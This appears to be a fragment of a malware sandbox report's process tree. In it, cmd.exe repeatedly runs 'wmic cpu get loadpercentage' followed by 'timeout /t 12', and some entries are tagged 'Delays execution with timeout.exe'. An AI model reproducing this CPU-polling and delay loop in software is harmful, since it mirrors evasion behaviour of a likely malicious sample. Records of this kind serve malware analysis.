C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
